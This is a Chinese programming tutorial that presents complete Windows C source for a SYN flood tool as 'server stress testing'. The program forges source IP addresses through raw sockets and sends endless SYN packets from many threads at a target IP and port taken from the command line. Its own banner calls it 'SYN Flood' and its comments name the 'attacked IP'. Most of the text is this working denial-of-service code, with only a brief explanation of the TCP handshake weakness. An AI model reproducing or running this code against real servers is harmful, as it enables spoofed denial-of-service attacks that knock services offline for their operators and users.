基于visual c++之windows核心编程代码分析（38）实践服务器压力测试-SYN请求

　　SYN 请求实现压力监测利用TCP协议缺陷，发送了大量伪造的TCP连接请求，使得被攻击方资源耗尽，无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手，首先客户端发送一个包含SYN标志的数据包，其后服务器返回一个SYN/ACK的应答包，表示客户端的请求被接受，最后客户端再返回一个确认包ACK，这样才完成TCP连接。在服务器端发送应答包后，如果客户端不发出确认，服务器会等待到超时，期间这些半连接状态都保存在一个空间有限的缓存队列中；如果大量的SYN包发到服务器端后没有应答，就会使服务器端的TCP资源迅速耗尽，导致正常的连接不能进入，甚至会导致服务器的崩溃。

      我们一般开发网站项目的时候，经常需要测试服务器压力，好进行网络优化，测试服务器压力经常用到SYN监测，下面见代码分析，实现服务器压力测试。

 

#include <winsock2.h>#include <Ws2tcpip.h> #include <stdio.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void)  // 定义状态提示函数 { static int play=0;// 进度条 char *plays[12]= { " | ",  " / ",  " - ",  " \\ ", " | ",  " / ",  " - ",  " \\ ",  " | ",  " / ",  " - ",  " \\ ", }; printf("=%s= %d threads \r", plays[play],threadnum);play=(play==11)?0:play+1;} //定义一个tcphdr结构来存放TCP首部typedef struct tcphdr{USHORT th_sport;//16位源端口号USHORT th_dport;//16位目的端口号unsigned int th_seq;//32位序列号unsigned int th_ack;//32位确认号unsigned char th_lenres;//4位首部长度+6位保留字中的4位unsigned char th_flag;////6位标志位USHORT th_win;//16位窗口大小USHORT th_sum;//16位效验和USHORT th_urp;//16位紧急数据偏移量}TCP_HEADER; //定义一个iphdr来存放IP首部typedef struct iphdr//ip首部{        unsigned char h_verlen;//4位手部长度，和4位IP版本号        unsigned char tos;//8位类型服务        unsigned short total_len;//16位总长度        unsigned short ident;//16位标志        unsigned short frag_and_flags;//3位标志位（如SYN,ACK,等等)        unsigned char ttl;//8位生存时间        unsigned char proto;//8位协议        unsigned short checksum;//ip手部效验和        unsigned int sourceIP;//伪造IP地址        unsigned int destIP;//攻击的ip地址}IP_HEADER;//TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性struct{unsigned long saddr;//源地址unsigned long daddr;//目的地址char mbz;//置空char ptcl;//协议类型unsigned short tcpl;//TCP长度}PSD_HEADER; //计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)//然后计算整个IP首部的二进制反码的和。USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size-=sizeof(USHORT);}if(size) cksum+=*(UCHAR*)buffer;cksum=(cksum >> 16)+(cksum&0xffff);cksum+=(cksum >>16);return (USHORT)(~cksum); }DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数{SOCKET  sock =NULL;int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;struct sockaddr_in sockAddr;TCP_HEADER  tcpheader;IP_HEADER   ipheader;char        sendBuf[128];sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(sock==INVALID_SOCKET){printf("Socket failed: %d\n",WSAGetLastError());return 0;}//设置IP_HDRINCL以便自己填充IP首部ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR){        printf("Set sockopt failed: %d\n",WSAGetLastError());return 0;}//设置发送超时ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){        printf("Set sockopt time out failed: %d\n",WSAGetLastError());return 0;}    //设置目标地址memset(&sockAddr,0,sizeof(sockAddr));sockAddr.sin_family=AF_INET;sockAddr.sin_addr.s_addr =inet_addr(DestIP);FakeIpNet=inet_addr(DestIP);FakeIpHost=ntohl(FakeIpNet);    //填充IP首部ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));ipheader.ident = 1;ipheader.frag_and_flags = 0;ipheader.ttl = 128;ipheader.proto = IPPROTO_TCP;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);ipheader.destIP = inet_addr(DestIP);    //填充TCP首部tcpheader.th_dport=htons(port);tcpheader.th_sport = htons(8080);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_ack = 0;tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);tcpheader.th_flag = 2;tcpheader.th_win = htons(16384);tcpheader.th_urp = 0;tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;PSD_HEADER.daddr=ipheader.destIP;PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP;PSD_HEADER.tcpl=htons(sizeof(tcpheader));for(;;){       SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_sport = htons(SendSEQ);tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));memcpy(sendBuf,&ipheader,sizeof(ipheader));memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);dataSize=sizeof(ipheader)+sizeof(tcpheader);ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);memcpy(sendBuf,&ipheader,sizeof(ipheader));sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));    display();   }//end for    Sleep(20);    InterlockedExchangeAdd((long *)&threadnum,-1);return 0;}void usage(char *name){printf("\t===================SYN Flood======================\n");printf("\t==========[e-mail]     2004/7/6========\n");printf("\tusage: %s [dest_IP] [port] [thread]\n",name);printf("\tExample: %s 192.168.1.1 80 100\n",name);}int main(int argc,char* argv[]){    if(argc!=4){usage(argv[0]);return 0;}usage(argv[1]);int ErrorCode=0;DestIP=argv[1];//取得目标主机IPport=atoi(argv[2]);//取得目标端口号maxthread=(maxthread>100)?100:atoi(argv[3]);//如果线程数大于100则把线程数设置为100WSADATA wsaData;if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){        printf("WSAStartup failed: %d\n",ErrorCode);         return 0;}printf("[start]...........\nPress any key to stop!\n");while(threadnum<maxthread)//循环创建线程{    if(CreateThread(NULL,0,SynfloodThread,0,0,0)){Sleep(10);    threadnum++;}}WSACleanup();printf("\n[Stopd]...........\n");return 0;}